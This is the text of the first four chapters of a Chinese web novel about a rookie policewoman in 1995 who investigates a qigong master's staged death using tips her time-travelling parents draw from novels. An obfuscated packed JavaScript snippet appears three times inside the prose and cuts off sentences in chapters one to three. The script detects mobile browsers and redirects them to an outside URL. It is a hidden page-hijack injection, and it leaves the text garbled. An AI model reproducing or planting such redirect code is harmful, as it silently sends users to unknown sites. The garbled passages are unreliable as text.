《小警察,但爸妈开挂[九零]》 1. 第 1 章 《小警察,但爸妈开挂[九零]》 文/侍女的短刀 2025年5月19日晋江文学城独家发表, 感谢支持正版阅读。 * 1995,盛夏,江潭。 凌晨时分,将雨未雨。天气闷热,低垂夜空上团着深灰色的乌云,空气跟黏在人身上似的。 市西郊压缩机厂灯火通明,几十号人群聚在厂房前的空地上,仰头昂颈,怀里抱着钢筋锅,像等待喂食的大鹅般,望向车间内站桩坐马的人。 “来了来了!” “上回张大师展示了手断钢筋和隔空取物的神功,不知道今晚——” “听说他能化鹏成仙,这是真的吗?” “别问,跟着大师一起运气就行!” “是不是下雨了?大师神了!真能呼风唤雨啊!” 夜风吹过树梢,雨丝滴落,将墙根下的荒草打成湿漉漉的绿色。 角落里,一个女孩默默穿好雨披,跟随众“信徒”的诡异动作,高举双手。 “鹏之徙于南冥也,水击三千里……”1 轰隆—— 闪电划破天际,滚雷碾过漆黑苍穹,周遭灯光在雷鸣中一瞬爆灭! 邪风簌簌,雨越来越密,只剩下“大师”身前的水泥地上,还有一盏幽幽的烛火。 紧接着,车间深处弥漫起浓重的雾气,将最后那一点光和正在施展功法的人身影全部遮蔽。 “啊啊啊大师显灵了!” “扶摇而上九万里!”2 天地雨幕冲刷,看不见五指的黑暗中,女孩惊讶地睁大清澈眼眸,低声喃喃: “哇,还真能呼风唤雨啊!” 整齐的诵声中,雾气渐渐消散。 然而过了很久,厂房始终没能亮起灯光,“大师”似乎也没有任何动静。 议论声越来越大。 “不会已经成仙了吧?” “不知道,要不你去看看?” “……我去就我去!” 有人摸黑找了根手电筒,点亮,朝着车间内照过去。 “神了!没人!”圆形灯光穿过凝黑空气扫了两圈,他激动地喊起来,“张大师逍遥游喽!” “啊啊啊啊——!” 忽然,一道惊恐的尖叫刺穿黑暗。 站在最前排的女人指着一团隐隐绰绰的黑影,捂脸大叫,“张大师好像……好像躺在地上!” 人群登时慌乱起来,有人上前,有人退后,叫喊声此起彼伏。 “怎么回事?” “大师走火入魔了吗?” “快看墙上!墙上有血字!” 电筒光扫过砖墙,鲜红刺目的“李国萍”三个大字映入眼帘。女孩努力拨开人群,想凑前看个究竟。 一股难闻的腐臭味儿当头照脸地扑过来。 刚才还活蹦乱跳的人,怎么会变成一具毫无声息的死尸呢? 只是她还没走两步,不远处便传来了响亮的鸣笛。 红蓝交替的灯光照亮半片雨夜,几辆警车飞速驶入压缩机厂,将车间前的大路拦住。 “警察!都别动!” 一个高大英朗的男人从为首的吉普车上跳下,视线扫过惊慌失措的人群。 女孩心头重重一顿,抬手拉低脑袋上的雨披帽兜。 但是男人已经看到了她,板着脸走过来。 “季银河!你怎么在这,是你打的电话吗?” “不是我。”季银河抹了把脸上的雨水,蹙眉问,“唐队,发生什么了?” 江潭市公安局重案一队的队长唐辞盯着她看了两秒,意味不明。 “我们接到报警,压缩机厂出了命案。” “……” 季银河心脏狂跳,目光穿过人群,朝躺在车间地上的“大师”深深望去一眼。 靠!真死人了? 爸妈说的线索,竟然是真的! * 事情还得从几个小时前说起。 临近下班前,季银河敲响了局长办公室的大门。 饶正好正对着晚报娱乐新闻上的女星照片嘿嘿傻笑,瞄见门口的人,登时头疼地叹了口气。 “进来吧。” 季银河将手头文件放在他面前,眨巴着大眼睛,“局长,上半年全局工作总结我写完了。” 饶正好随手翻了翻,放在一边,“嗯,下周我要去省厅参会,发言稿你先拟一下。” “……”季银河深吸口气。 “局长,我是学刑侦的,我想办案子!” “小季啊,我知道你是侦查人才,但是站上危险的一线之前,还是很有必要了解单位全局工作的嘛!” 饶正好推了推眼镜,看季银河还想争辩,便抬手一指墙上的锦旗。 “百日无案,看见没?不是我不想放人,是咱们江潭治安太好,小偷小摸都被分局解决了,刑侦根本没活呀!” “我先去看看卷宗,学习学习行吗?到时凶案一来,我立刻就能跟上——” “噫!小季同志,这话可不兴说啊!”饶正好赶紧打断她,两手一摊,“没恶性案件是我市人民群众天大的福气!反正刑侦、行政,听起来都差不多,你学哪个不是学?” 季银河语气诚恳,“但我实在不是文字工作这块料……” 饶正好捏了下鼻梁,“那这样,你再干段时间吧,真来案子我再放人,行不?” 季银河:“……” 今年夏天,她以第一名的成绩从汉东省警官学院侦查学专业本科毕业,是同期里唯一一个直接分配进市局的优等生,引得一群同学羡慕不已。 看着派遣证上的字,季银河也觉得自己走运极了。 很小的时候,她心底就萌发出一个坚定的理想——那就是成为风起云涌的时代里,令所有坏人闻风丧胆的警花。 没想到本市治安太好,一片祥和,局长看报纸,队长喝着茶,同事忙吃瓜。 而她因为形象好,个子高皮肤白,浓眉大眼小脸蛋,报到当天就被拎进办公室做行政! 现实把理想打得粉碎,写材料这工种实在枯燥乏味。 而且局长还让她在上班第一周写半年工作总结和领导发言稿…… 这不是胡闹嘛! 季银河拖着崩溃的步伐,回到自己的小办公室,瞪着面前的纸山重重叹了口气。 …… 写完交差,从警局出来,月亮都快升到头顶上了。 季银河揣着破碎的心推开家门。 客厅已经关了灯,爸妈应该都休息了。 她蹑手蹑脚换了鞋,准备冲个战斗澡上床睡觉。 古怪的是,主卧里竟传出几声奇怪的窃窃私语! 先是她爸季建国压低嗓子:“孩子这段时间倍受打击,要不我去举报线索?某点龙傲天文里不是有个贩毒富二代吗?” 然后她妈连翘唔了声,“上来就让银河破这么高难度的案子啊……还是我来吧,绿江年代文里真假千金被人掉包,这算不算贩卖人口?” “算!绝对算!还有那桩跨越十年的连环分尸案……可惜了!在省会!” “可以联合行动的吧?迷雾剧场的刑侦剧都这么演。” “但是危险啊!万一凶手把银河拐到哪个山沟里去,叫天天不灵叫地地不应的……” “你可别瞧不上银河,我女儿!本事可大着呢!”连翘自豪地笑了声,“到时候我让她把智能手机带上,这玩意多结实啊!比bp机强,还能砸人!” “这年头能有信号?”季建国倒吸一口凉气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669965|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“等等!五折叠!这好东西竟然背着我藏了这么多年!” “……” 门外,季银河屏住呼吸,瞪大双眼,好半响都没发出声音。 某点龙傲天文? 绿江年代文? 贩毒富二代? 贩卖人口? 五折叠? ——嗯??? 她有点懵又有点怵,但还是维持住了一个人民警察该有的素质。 确定不是幻听后,将不动声色四个字贯彻到底。 其实她从小就觉得自家爸妈和别家……不大一样。 老季看上去吊儿郎当靠不住,但运气特别顺——不仅早早谋上了整个街道办最闲散的职位,还中了五六次彩票,没事就带着全家到处旅游! 连女士天生闲不住,总有各种各样奇奇怪怪的主意。做出的饭菜连美食节目都没教过,却香得把整条街嘴最刁的小孩给馋哭了。 他们偶尔还会在女儿面前蹦出几个只有对方能懂的字眼,然后一脸说错了话的表情,小心翼翼地朝对方使眼色。 小季警察琢磨了二十年也没弄明白,到底是自己一家运气太好,还是爸妈真有点古怪。 但她压根没想到,这两位同志还能往犯罪道路上靠啊! 主卧里的交谈还没完,连翘忽然嚷了声,“等等,某点文里是不是写过,今晚西郊压缩机厂会死人来着?” “对呀,7月31了!那个气功大师成仙案——” “来得及吗?今晚要下大暴雨哇!” “……嘘,银河是不是要回来了?” 季银河身躯一震,赶紧轻手轻脚退到玄关,等了两秒,才拉开防盗门再重重阖上,在惊天巨响中扯着嗓子大喊: “爸!妈!我回来了!” 季建国矜持地一咳,“宝贝女儿辛苦了,早点休息啊!” 季银河应了声,随便冲了个澡,回房间躺下。 从震惊中缓过神来,她深深吸了口气—— 是问个究竟,还是先按兵不动? 出于刑警的直觉,季银河决定选择后者。 天气闷热,她烙饼似的在床上翻了半晚上。 “某点龙傲天文”和“绿江年代文”,听起来就像武侠小说言情小说一样,都是写在纸上的故事。 那爸妈提供的线索,是真实可靠的吗? 今晚压缩机厂会发生案子吗? 一阵寒凉的风吹破闷热酷暑,将悬挂在窗前的风铃吹得叮叮作响。 季银河猛地睁大双眼,翻身坐起。 反正睡不着,干脆死马当活马医,就去那个压缩机厂看看! 说干就干,她换了衣服,将雨披塞进斜挎包,蹑手蹑脚溜出家门,骑车直奔西郊,混入了追随张大师的信徒中。 …… 此刻,小季警察神情呆滞地僵立在现场。 万万没想到,真有命案啊! 而且这次来的好像是重案一队的同事…… 季银河的目光在夜色中倏然亮起。 这是不是意味着江潭有重案大案了,她终于可以离开行政办公室了!? 季银河看着唐辞搓搓手,兴奋地向尸体所在位置迈出一步,“唐队,有没有手套,我先去检查现场——” “你给我上车。” 唐辞伸手拽住了她雨披帽兜,不容分说,将整个人直接塞进身后的吉普车。 沉冷声音随即落下: “老车、程漠、小伍!跟联防队员配合一下,这很可能是场谋杀,所有人都有嫌疑,先全部带回局里,挨个审问!” 季银河从车窗上探出脑袋,一脸震惊地指着自己。 “……包括我?” 唐辞转头,漠然看了她一眼。 “对,包括你。” 2. 第 2 章 “报案人称死者叫张洪波,目击者也确认了他的身份。此人曾是压缩机厂厂医,一周前成了那一带鼎鼎有名的大师,号称自己和宇宙天人感应,能治病解灾,信徒几乎都是压缩机厂工人……我看就是招摇撞骗呗!” 小伍把笔录递过来,唐辞靠在窗边随手翻了翻,视线重新投向询问室内的女孩。 白炽灯被刻意调暗了,季银河正趴在桌上,睡得相当酣甜。 “真好,加班审了一晚上,我也想睡一觉。” 小伍忍不住打了个哈欠。 “调你去行政科,每天睡到自然醒。”唐辞白他一眼,“开工。” 小伍吐吐舌头,推开了眼前的木门。 “吱呀”一声轻响,季银河从睡梦中惊醒,抬起乱糟糟的脑袋。 她揉了下眼皮,目光清澈而呆滞地看着眼前两位—— 重案一队队长唐辞和刑警小伍,上班第一天都见过。 当时以为能去办案,季银河还特地准备了连女士亲手卤制的鸭货和老季托人买来的哈密瓜,向刑侦支队的每个大队送了一份。 因为局里没案子,大家都吃得很欢乐,偏这位唐队格外不领情,把鸭货和瓜全都丢了回去。 季银河叹了口气,苦笑一声。 怎么就落到他手上了呢! 此刻唐辞也在观察她。 这位新来的警花腿长个高,体态优越,五官英气,皮肤也白,乍一看谦逊认真,不过眼底却透着一股怎么都藏不住的机灵劲。 唐辞瞥了眼政工科拿过来的资料。 警校的成绩单上,几乎门门都是满分。 “睡得挺好?” “挺好。”季银河声音清脆,“感谢唐队看在同僚的面子帮我弄暗了光线。” “那就说说吧。”唐辞语气严肃,“为什么会出现在命案现场?” “……” 季银河垂眼,大脑动得飞快。 肯定不能说出老季和连女士那番诡异的交谈,什么龙傲天文绿江文五折叠的,也没人会信。 想了想,她张口:“我接到了线索。” “哦?从哪儿来的?” “线人。”季银河神情坦然,一脸信誓旦旦。 唐辞扬起一条眉毛,“你刚上班一周,还一直坐办公室写材料,能有什么线人?就算有,怎么不上报市局?” “线人有多危险您也知道,总不能公开告诉所有人吧?”季银河略带无辜地看着他,“而且,我这是第一次从他……那里听说情报,我怕浪费局里警力,就先去探探虚实,有什么错吗?” 听上去似乎没什么漏洞,唐辞想了片刻,还没来得及提出下一个问题,就听见她好奇发问:“你们都查到哪儿啦?” 小伍条件反射般张口:“哦,死者叫张洪波,以前是厂医,声称自己要登仙,同时帮助大家净化罪孽。前排目击者在烟雾里看见了他的脸,痕检老田说李国萍那三字是用刀沾了血刻画的……” 他说得很快很乱,只有重点,季银河却边听边点头。 “小伍!”唐辞皱眉打断,“你怎么什么都往外说!” 小伍茫然张大嘴:“她不是咱们的同志吗?” 唐辞看着下属语塞。 “尸检结果呢?”季银河睁圆双眼,琥珀色瞳仁里闪着好奇的光泽。 唐辞敲了下桌面,“不该问的别……” “还没出来呢!” 嘴快的小伍在队长冰冷的目光中讪讪低下了头。 唐辞深吸了口气,“小季同志,我们可以暂不追究线人的事,既然你当时就在现场,有发现就直说。” “哦,我记得当时尸臭味很浓。”季银河收起笑意,“我在警校选修过法医,请来的大体老师刚走不久,气味可比昨晚淡多了。” 唐辞微顿,“你想说什么?” 季银河耸耸肩,“按照常理来说,死者应该走了有段时间了。” 小伍困惑发问:“啊?张洪波不是事发前还在运功吗?难道是死人在表演?” “为什么不能?”季银河神色如常,“你们查李国萍了吗?我猜她应该是位厂领导吧?闹这么大阵仗,至少科长级别。” 唐辞默了片刻,“李国萍就是压缩机厂的总经理,独身,目前还联系不上,她秘书说她一早就去出差了。” 静默片刻,季银河长长喔了声。 “那唐队,我能走了吗?” “不能。”唐辞冷漠回答,“把你交代的核查清楚,我才会放人。” “……不走也行,那能不能麻烦您把饶局请过来,我有点事想跟他谈谈。”季银河笑眼弯弯,看上去有点无赖。 唐辞:“……” 看来从她这里问不出更多了,他站起身,拍了下小伍,示意他拿笔录给季银河签字。 她倒也不生气,抓起笔龙飞凤舞地签下大名,还不忘提醒:“当时站在我前面,短发烫头的那位丁大妈应该知道不少压缩机厂八卦,建议你们找她多问问!” 唐辞假装没听见,推门离开询问室。 季银河百无聊赖地趴在桌上,研究起手指上的倒刺。 十分钟后,饶正好抱着搪瓷茶缸走进来。 季银河腾地坐直身体抬起头,“局长早上好!我想去重案一队!” “早上好。” 饶正好已经习惯了她的一惊一乍,慢悠悠抿了口茶,才轻声叹气。 “算了,本来你就学这个的,他们现在又确实人手不足,是该把你调进去,协助唐辞破案——” 老狐狸放下茶缸,话风又一转,“不过我丑话说在前头,江潭市很少发生这么恶劣的刑事案件,气功又是敏感话题,去年上头明文规定了,要破除伪科学!所以你们不仅得全神贯注尽快结案,还得注意控制舆论。如果出了差错,你在重案队待不下去,还是回……” 季银河干脆:“您放心,我自己请调去下面派出所!” “也没必要。”饶正好哼笑起身,“我看写材料就够磨你性子了!” 季银河:“……” 唐辞和小伍给丁大妈做完笔录,从隔壁出来时,刚好看见饶正好和季银河一前一后走出问询室。 “小唐,收拾张桌子,从今天起小季加入你们队。” 小伍一脸憨直地问:“局长,就这么放了这位同志吗?万一她……” 饶正好眯眼,“我亲自参加了小季的政审,还让她给我当了整一周的秘书……你是觉得我看人的眼光有问题?” 唐辞、小伍:“…………” 十分钟后。 季银河哼着歌走进重案一队办公室,把书册茶缸笔记本一应物品全部放在椅子上,四下打量起来。 屋子很大,阳光很好,靠墙摆着几排铁皮柜,中间是桌椅,用贴满了线索的大黑板分割成两半。 队长唐辞和副队长车志文单独坐小的那半间,其他人就在外面办公。 小伍因为比旁人对她更熟悉些,这会很得瑟地张罗,“来了就是自家人,空位置随便挑,别客气啊!” 其实能选的也不多,铺绿绒布和大玻璃的都有人占用,剩下的要么木面斑驳,要么堆满了鼓鼓囊囊的牛皮纸袋。 季银河目光逡巡一圈,最后选了个靠窗的位置。 这套桌椅大概空置太久,被头顶吊扇吹起一层又一层呛人的浮灰。她利索地挽起衣袖,打湿抹布,擦拭桌面,连缝隙都一一清理干净。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669966|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>抽屉里有几本书,《痕迹学》《现场勘察手册》《犯罪构成理论》…… 季银河翻了翻,都是公安大学专家编写的工具手册,还挺实用的,便全部拿了出来,打算认真研读。 干完活,小伍端着切好的西瓜凑过来,“吃吗?” “吃!”季银河抓起一片,边啃边问,“小伍哥,队里有哪些人呀?能不能麻烦你给介绍一下?” “嘿!那你可问对人了!” 小伍屁颠屁颠拖了把椅子坐下,“咱队人手不足,加上你一共才五个。唐队你见过了,副队车志文,年纪最大最胖的那位……回头你一眼就能认出来!负责预审的大哥叫程漠,人也很沉默,他俩这会还在现场呢!最后就是我啦,啥都干,哪里缺人往哪搬!” 季银河凝神在心里记下。 “经常跟咱队打交道还有技术大队的法医叶晴和痕迹老田。老田快退休了,叶晴刚从下面调上来,胆子小,又是个女生……” 季银河睁大眼,没想到法医竟然也是女警! 作为局里为数不多的女同志,她可太想和对方建立革命友谊了! * 两个小警察在外面吃着瓜聊着天,里间的唐辞却皱紧了眉心。 根据丁大妈的交代,张洪波和李国萍的关系并不算糟,后者对前者简直算得上有恩——先前张洪波弟弟意外去世时,李国萍还专门上门慰问,给了一大笔钱! 所以这两人之间,还有什么不为人知的恩怨情仇呢? 唐辞觉得头疼极了。 饶局让一队尽快破案,给市民一个交代,可昨天在省厅接受培训时,公安大的专家还在强调——目前国家刑侦技术仍然有限,汉东省刑事案件破案率,仍不足五成。 “队长……” 季银河从黑板边探出个脑袋,“我能去技术那边看看死者和证物吗?” 唐辞嗯了声,“戴好手套,听从指挥,还有,有空记得给家里说一声,饶局说你爸电话都打到他办公室了!” “好嘞!” 季银河笑咪咪应下了。 正事要紧,她决定让老季和连女士再担心一会,折身溜达进几步之遥的解剖室。 掀开塑料门帘,浓郁的尸臭扑面而来,尽管隔着口罩,也像被扇了一个巴掌。 季银河屏住呼吸,看见叶晴正一个人专注地进行尸检工作。 她虽然心有疑惑又跃跃欲试,却也不敢在这个时候打扰人家,只好默不作声地张望。 就在这时,走廊上响起两道急促的脚步声。 “唐队——” 胖墩墩的车志文一马当先,高高扬起手中事物,大喊,“张洪波是自杀的!” 跟在他身后的程漠简洁解释:“发现遗书了。” 透明的证物袋中,一张写满字的信纸在日光中飞扬。 唐辞小伍闻声立刻跑了出来。 季银河也想过去凑热闹,转眼却看见叶晴盯着尸体喃喃自语: “这……不可能吧?” 季银河眉心一跳,顾不上令人作呕的腐臭,整个人凑了过去。 “叶姐,你是不是也觉得死亡时间不正常?” 叶晴看看她,又看看门外走廊上热火朝天的男警们,摇了摇头,细声细气道:“可能是我经验不足,我还想再验一遍。” “……” 季银河俯下身,仔细端详着解剖台上的尸体,忽然抬高音量—— “唐队,各位同事,我想问,他真的是张洪波吗?” 她戴上手套,小心翼翼地拉起尸体的右手。 “死者虎口有老茧!一个厂医,平时最多打打针开开药,又不拿手术刀,为什么会在这里长老茧啊!” 3. 第 3 章 走廊上安静了片刻,数秒之后,众人全都围进解剖室。 “呕——” 车志文被尸臭袭击,捂着口鼻逃了出去。 剩下的人还算镇定,强撑着走了过来。 “就是这个老茧,不像是短期内磨出来的。”季银河拉着尸体的手给大家看。 一阵交头接耳中,唐辞向前倾身,皱起眉心。 叶晴小声地说:“唐队,小季同志说得没错,死者四肢屈肌群强直收缩,符合高压电击特征,在他的右手食指上也找到了电流斑痕迹,我判断死亡超过十天,经历过冷冻,而且您看,他耳后有一块胎记,被石灰给覆盖了,应该是为了隐瞒身份……” 她将尸检报告递过去,缩回墙根边。 唐辞把纸页翻得哗哗响,白纸黑字,很难不认同季银河的推测。 “……死者不是张洪波,那会是谁呢?” “对啊!”小伍艰难出声,“昨晚我们询问站在前排的信徒,没有一个人说这不是他们张大师啊……” “现场很暗,根本看不清细节。”季银河耸耸肩,“如果世界上有个和张洪波长得很像的人呢?” 唐辞怔了证,视线从季银河淡定的脸上扫过。 也不知道她是心理素质奇佳,还是真的反射弧比别人长…… 他很快回过神,从口袋里摸出笔记本,翻到先前询问时做下的笔记。 “丁大妈说过,张洪波有个不久前去世的弟弟,小伍,你去户籍科把这对兄弟的照片调出来,再核实一下死亡证明!” “好嘞!”小伍装了飞毛腿般逃出解剖室。 片刻后,他激动地跑了回来。 “张春波,压缩机厂工人,十一日前意外死亡……重点来了,他与张洪波是双胞胎兄弟!” 如果尸体是弟弟的,那么浓郁的尸臭、虎口的老茧、伪装的胎记……一切就都能解释通了。 案件有了突破口,唐辞立刻叫所有人回办公室开会,安排下一步分工。 车志文是老烟枪,正翘腿坐在椅子上吞云吐雾,看见季银河和叶晴走进来,嫌恶地捏紧鼻子。 “你俩小姑娘真有本事!这味儿大的!跟公厕炸了似的!” 叶晴站在远处角落,将头垂得低低的。 季银河瞅瞅她,又瞧瞧落在自己桌前的烟灰,呲出一口小白牙:“反正有车队您在,每天这烟一点上,味道也大差不差的!我们早都习惯啦!” 在场众人愣了几秒,唐辞和程漠还能控制住表情,叶晴却忍不住背过身,笑得肩膀抖动。 车志文张了张口,又紧紧阖上。 这小季竟然讽刺他嘴臭! 被一个毛丫头针对,堂堂车副队长觉得挺没面子。 他想教训两句,又想起对方先前还给局长当过几天秘书,兴许家里有什么背景也说不定。 车志文狠狠咬了下牙根,才维持住体面,掐烟开窗,把味道散去。 “好了,说正事。”唐辞把刚才的发现说了一遍,“老车,程漠,你们去趟火葬场,张春波尸体早就该火化了,这到底是怎么回事!” “得嘞,咱们这一晚都是无用功呗!”车志文不情不愿地嘟囔,和程漠一起离开办公室。 唐辞撇开眼,“小伍,你跟我一起复勘现场,李国萍那边还得深挖,相关人员也得重问……昨晚方向有偏颇,如果张洪波没死,借着障眼法从现场逃离的话,或许有人看见——” “唐队。”季银河刷一下举起手,“我觉得这里面还有个疑点……您有没有想过,是谁报的警?” 唐辞皱眉,“报案人说自己学雷锋做好事不留姓名,从公用电话亭打给派出所,派出所才转接给我们的……有什么问题?” “你们来得太快了。”季银河回忆昨晚情形,解释道,“就不说转接电话要经几手……从市局到西郊,警车也得开二十分钟,可是尸体刚出现你们就到了,这不对劲。如果是张洪波故意设下的局,那么提前报警的人,就算不是他本人,也很有可能是他同伙。” 小伍目瞪口呆地拍了拍手,“厉害啊!” 季银河:“……” 其实她觉得这一疑点相当浅显,还以为唐辞昨晚就已经开始着手调查。 可见大家是真的太久没办案,手生了。 还不知道自己正被下属蛐蛐的唐辞沉着点头,“小季说得在理,这也是个侦查方向……饶局,您怎么来了?” 大家目光一转,看见饶正好捧着茶缸,笑眯眯站在门口。 “怎么样了?要不要从省厅给你们找个外援?他们有位姓陆的痕迹专家,正在楼下治安帮忙,相当厉害——” “不用。”唐辞斩钉截铁,“老田干活是慢了点,但和我们配合惯了,请个领导来,还得处处伺候,没这个精力。而且小季同志很不错,为我们提供了新思路。” “哦?”饶正好打量季银河一眼,深感惋惜,“小季是真的不想回来写材料啊……” “……”季银河毫不掩饰地点头,“对。” 饶正好叹了口气,捧着茶杯翩然飘走。这一边,叶晴回去处理尸体,小伍和唐辞拿了勘察包,准备再去一次现场。 季银河三步并两步蹦上前,“那我呢?” “建议你先回家,换个衣服洗个澡。” 唐辞盯住她蓬乱的头发和满是泥水的裤脚,才笑了声,“如果还有精力的话,就到案发现场帮忙。” “好嘞!” 季银河兴高采烈地溜下楼,走到车棚前,才想起自己那台捷安特好像还丢在压缩机厂。 那可是老季特地托人去上海买来,作为她上班礼物的山地车,整个江潭就此一台! 当时情况特殊,就那么往路边一丢,这一夜过去,说不定已经给人偷走了! 季银河站在那儿暗自懊悔,忽然瞧见角落眼熟的大杠,骚气的红黄配色,还没上锁。 很显然,昨晚她从案发现场被带走时,有人把她的车一并带了回来。 “……咱局还是好心人多啊!” 她欣慰地摸了摸座椅,骑上去脚一用力,嗖地一下飞窜而出。 * 时值正午,赤日炎炎,地面热浪蒸腾。 季银河穿街过巷,大脑仍不住地往外冒念头。 这一夜真刺激!她不仅见证了一起命案,还如愿以偿调进重案队! 只不过,家里还有个巨大的谜团等着她。 首先可以确定,老季和连女士虽然不大对劲,但绝对是好人,绝对不会害她。 可他们谈及的事物实在是太匪夷所思了! 而且压缩机厂的线索已经被验证,那么剩下那些语焉不详的凶案…… 季银河打了个哆嗦,既兴奋,又害怕。 家里没人,她给季建国打了通报平安的电话,洗完澡换了身衣服,掐着点锁门离家。 结果刚蹬上车,就听见身后有人叫她。 回过头,连女士穿着真丝连衣裙,背着鳄鱼纹坤包,撑了把洋伞,娉娉婷婷地走过来。 二十年来,连翘都是这一片公认的大美人。季银河高中那会,还见过年轻帅哥追在小吃车后要bp机号,把老季气得头冒青烟。 “妈!”季银河笑嘻嘻报告好消息,“我去重案一队啦!” “听说了,西郊那边出了大案子。”连翘从包里掏出一个硕大的糍饭团,塞进她手里,“下次半夜出门跟我们说一声,你爸都急死了!” “嘿嘿爸爸妈妈最好了!”季银河打开食品袋一瞧,“哇!咸蛋黄卤牛肉雪菜肉松夹油条!” “超豪华套餐,路上吃吧。”连翘拍拍女儿的肩,四周打量一眼,忽然从坤包里掏出个银黑色的金属长方体。 “这个是……你就当是前苏联的通讯仪吧!用起来很复杂,回头我慢慢教你,你先拿着,记住,这两个功能最重要……” 沉甸甸的玩意被塞在手上,季银河屏住呼吸不敢动,感觉自己像捧了个炸药。 连翘不耐烦地啧了声,示范起如何操作,“呐,按这里就能打电话,通讯录里有家里的号码,还有……” 奏折一样的玩意缓缓展开,季银河看着比彩电还清楚鲜艳的画面和花哨的软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669967|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件,没有实体按键、想啥点啥的触屏,震惊地睁大了双眼。 如果她没猜错的话,这就是他们昨天说的……五折叠? 苍天啊!老季和连女士不会是什么前苏联特工吧? “……总而言之,这东西三防质量贼好,不怕水不怕摔,你现在没配枪吧?遇到坏人可以用它砸人,明白了吗?” 季银河机械点头。 “明、明白了……” * 唐辞站在太阳下,眉心能夹死苍蝇。 西郊人烟稀少,道路荒芜,杂草疯长到齐腰高。 天气热,工人嘴也严。他散了两包红塔山,还是没能套出多少有用的线索。 尤其提及张春波和李国萍,大家都讳莫如深,一问三不知。 目前为止,他们只在人事科档案里查出张春波曾是总装车间的电工,死因是意外触电。 但盘问还得继续。 “春波和李经理没什么恩怨啊!那张大师就更没有了!”一个穿工装的大爷说。 小伍问:“您记得张洪波什么时候变成‘大师’的吗?是在他弟弟出事前,还是出事后?” “出事后!”大爷笃定,“张家兄弟是孤儿,又都没成家,感情深着呢!春波走了没两天,张大师就把工作辞了!也就上周吧……厂区和宿舍一夜间贴了好多大字报,说他能忽然领悟神功,能治杂症什么的,嘿!您别说!我瞧过,是真本事!” 那些“神功”并不稀奇,小伍和唐辞找专家问过,所谓手断钢筋、隔空取物,不过是从马戏团学来的障眼法罢了。 远处铁丝墙反射刺眼的光,唐辞眯起眼,向小伍比了个“够了”的手势。 案子发展到现在,死者竟成了一个早就死了的人,也太荒诞了。 但张洪波的动机还没有找到,诈死的背后,一定还藏着一个秘密。 他们不能这么不明不白地结案,领导和人民都需要一个真相,一个交代。 李国萍仍然联系不上,要是能找到张洪波藏身何处就好了。只要找到他本人,所有的问题都会迎刃而解。 厂区内状况复杂,他背着手在车间周围踱步,四下寻找能逃出去的路线。 小伍焦躁地问:“唐队,我们接下来……” “我想在这附近转转,等小季来了,你们去机关找李国萍的秘书。” “好,我去厂门口等她。” “小伍,带上相机……” 唐辞刚把脖子上的海鸥摘下来,声音突然顿住。 对面厂房下好像蹲着个人,整个身子都隐在杂草里,鬼鬼祟祟的,不知道在找什么东西,一看就十分可疑! 唐辞瞳孔骤然缩紧,拔腿就追了上去! 不管他是不是张洪波,一定跟这个案子有关! 他人高马大动静大,很快就惊动了那个人。 对方也不躲了,直起身,慌张地朝铁丝墙的某个方向跑去。 唐辞这才发现,那里被人绞开一个大洞,被草丛遮掩,不仔细看根本瞧不出来。 看来张洪波昨晚就是从此处逃离了压缩机厂! 他喊了声“警察!别动!”,悬着心往前狂奔,跟着对方转了几个弯。 可那人对这里的地形显然比他熟悉多了,即便小伍也加入了追捕,那道身影还是很快就甩掉他们,直直冲向草场后铁丝墙洞—— 唐辞后悔地拍了下大腿,刚才就应该直接堵住那里! 他一分心,加上阳光刺目,根本看不清脚下的路,猛地一个趔趄,被石块绊倒,脸朝地摔了下去。 而对方就要逃出去了! 就在这时,一块银黑色事物从侧面嗖地飞了过来!穿过小半个草场,径直击向那人的膝盖—— 砰! 那道身影晃了晃,捂着腿倒在了草地上。 “……” 唐辞一颗心落回原地,吐出口气,朝着抛来东西的方向望去。 季银河站在两步之外,动作夸张地活动着肩膀。 金灿天光下,她眉目鲜明,唇角一弯,朝他露出一个得意的笑。 4. 第 4 章 十分钟后。 小伍钳住那人双肩,唐辞跪在那人的腿上,哗啦啦掏出手铐一挂,整个人给提溜起来。 “唉呦!唉呦!下手真重!我不会瘸了吧?” 那人弯着腰,连声嚎叫。 他不是张洪波,身形更矮小,年纪也更大。 “跑什么?”唐辞面色紧绷,冷冷瞪他,“刚才没听见我喊警察别动吗?” “没听见呀!”那人丧眉耷眼,“我耳背!” 于是耿直的季银河贴过去大声吼:“叫、什、么、名、字?” 对方被震得一哆嗦,神情却誓死如归,“我不说!” “行了,带回局里审吧。”唐辞冷笑一声,懒得多费口舌,把人往马路上拖。 一路上,小伍还在重复季银河扔五折叠的动作。 “……你刚才那手也太帅了吧!” 